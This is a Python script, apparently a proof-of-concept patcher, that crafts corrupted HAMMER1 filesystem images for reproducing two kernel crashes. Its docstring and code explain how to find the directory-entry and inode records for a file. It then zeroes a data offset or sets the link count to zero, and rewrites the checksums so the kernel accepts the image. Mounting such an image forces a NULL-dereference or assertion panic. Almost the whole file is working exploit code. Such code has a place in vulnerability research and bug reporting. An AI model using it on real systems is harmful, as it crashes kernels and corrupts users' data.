DF-3004 / h1patch2.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | #!/usr/bin/env python3 """HAMMER1 offline patcher v2 — scan-based (no blockmap walk). Finds 4KB b-tree nodes in 16KB-aligned buffers, identifies the DIRENTRY leaf for a filename by CRC-matching its data blob (CRC32C for v7 volumes, since newfs_hammer computes leaf data_crc with iscsi_crc32; the kernel also accepts v6 crc32 as a fallback), then: 3002: zero the direntry leaf's data_offset -> hammer_btree_extract returns cursor->data == NULL with error == 0 -> NULL-deref panic in readdir. 3004: set the INODE record's nlinks (hammer_inode_data+72) to 0 while the direntry still references it -> unlink wraps to UINT64_MAX -> hammer_sync_inode KKASSERT panic on flush. Node and leaf CRCs are REWRITTEN as v6 crc32 (accepted by hammer_crc_test_* on version-7 volumes via the documented compatibility fallback). """ import struct, sys, zlib MASK52 = 0xFFFFFFFFFFFFF VOLMAGIC = 0xC8414D4DC5523031 RECT_DIRENTRY = 0x0011 RECT_INODE = 0x0001 # CRC32C (Castagnoli), reflected poly 0x82F63B78 _P = 0x82F63B78 _TAB = [] for i in range(256): c = i for _ in range(8): c = (c >> 1) ^ (_P if c & 1 else 0) _TAB.append(c) def crc32c(b, crc=0xFFFFFFFF): for x in b: crc = (crc >> 8) ^ _TAB[(crc ^ x) & 0xFF] return crc ^ 0xFFFFFFFF def crc32(b): return zlib.crc32(b) & 0xFFFFFFFF def find_leaves(img): out = [] for off in range(0, len(img) - 16384, 16384): # node header check: count at +16 (int), type at +20 count, = struct.unpack_from("<i", img, off + 16) t = img[off + 20:off + 21] if count < 0 or count > 63: continue if t not in (b"L", b"I"): continue # sanity: parent is 0 or a plausible zone2/8 offset parent, = struct.unpack_from("<Q", img, off + 8) if parent != 0 and (parent >> 60) != 8: continue out.append((off, count, t)) return out def set_node_crc(img, node_off): struct.pack_into("<I", img, node_off, crc32(img[node_off+4:node_off+4096])) def main(): path, mode, name = sys.argv[1], sys.argv[2], sys.argv[3] img = bytearray(open(path, "rb").read()) nb = name.encode() BUF_OFF, = struct.unpack_from("<q", img, 24) # vol_buf_beg print("vol_buf_beg=%#x (zone short offsets are relative to it)" % BUF_OFF) leaves = [x for x in find_leaves(img) if x[2] == b"L"] print("leaf nodes found: %d (of %d nodes)" % (len(leaves), len(find_leaves(img)))) # locate filename blob occurrences (direntry data) blob_offs = [] i = img.find(nb + b"\x00") while i >= 0 and len(blob_offs) < 16: blob_offs.append(i) i = img.find(nb + b"\x00", i + 1) print("blob occurrences of %r: %s" % (name, [hex(x) for x in blob_offs])) dirent_elm = None dirent_blob = None obj_id = None for (no, cnt, t) in leaves: for k in range(cnt): eo = no + 64 + k * 64 rt, = struct.unpack_from("<H", img, eo + 32) dlen, = struct.unpack_from("<i", img, eo + 56) if rt != RECT_DIRENTRY or dlen != 16 + len(nb): continue dcrc, = struct.unpack_from("<I", img, eo + 60) for bo in blob_offs: base = bo - 16 # direntry data starts at obj_id if base < 0: continue if crc32c(img[base:base+dlen]) == dcrc: dirent_elm, dirent_blob = eo, base obj_id, = struct.unpack_from("<q", img, base) print("DIRENTRY matched: elm@%#x blob@%#x obj_id=%d " "crc32c=%08x" % (eo, base, obj_id, dcrc)) assert dirent_elm, "direntry leaf not identified" ino_elm = None ino_blob = None for (no, cnt, t) in leaves: for k in range(cnt): eo = no + 64 + k * 64 rt, = struct.unpack_from("<H", img, eo + 32) oid, = struct.unpack_from("<q", img, eo) dlen, = struct.unpack_from("<i", img, eo + 56) doff, = struct.unpack_from("<Q", img, eo + 48) if rt != RECT_INODE or oid != obj_id or dlen != 128: continue dcrc, = struct.unpack_from("<I", img, eo + 60) # inode blob = 128 bytes whose first 112 crc32c matches for cand in range(0, len(img) - 128, 16): if cand in blob_offs: continue # only consider blobs whose parent_obj_id field (offset 24) # looks sane would be too slow; use crc match over window pass # faster: search by content signature: version(1)+mode+... # inode data has obj's parent_obj_id and nlinks; find via crc by # scanning 16-byte aligned candidates is too slow -> instead use # the elm's data_offset zone11 short offset directly IF direct phys = (doff & MASK52) + BUF_OFF if phys and phys + 128 <= len(img): if crc32c(img[phys:phys+112]) == dcrc: ino_elm, ino_blob = eo, phys nl, = struct.unpack_from("<Q", img, phys + 72) print("INODE matched: elm@%#x blob@%#x nlinks=%d " "(zone-off direct decode)" % (eo, phys, nl)) assert ino_elm, "inode leaf not identified" if mode == "3002": struct.pack_into("<Q", img, dirent_elm + 48, 0) touched = {dirent_elm & ~0xFFF} for no in touched: set_node_crc(img, no) print("3002: data_offset zeroed at elm %#x (node %#x); node crc " "rewritten (v6 crc32 fallback)" % (dirent_elm, dirent_elm & ~0xFFF)) elif mode == "3004": struct.pack_into("<Q", img, ino_blob + 72, 0) # nlinks = 0 c = crc32(img[ino_blob:ino_blob+112]) struct.pack_into("<I", img, ino_elm + 60, c) for no in {ino_elm & ~0xFFF, dirent_elm & ~0xFFF}: set_node_crc(img, no) print("3004: nlinks=0 at inode blob %#x; leaf data_crc=%08x (v6); " "node crcs rewritten" % (ino_blob, c)) open(path, "wb").write(img) print("patched OK") if __name__ == "__main__": main() |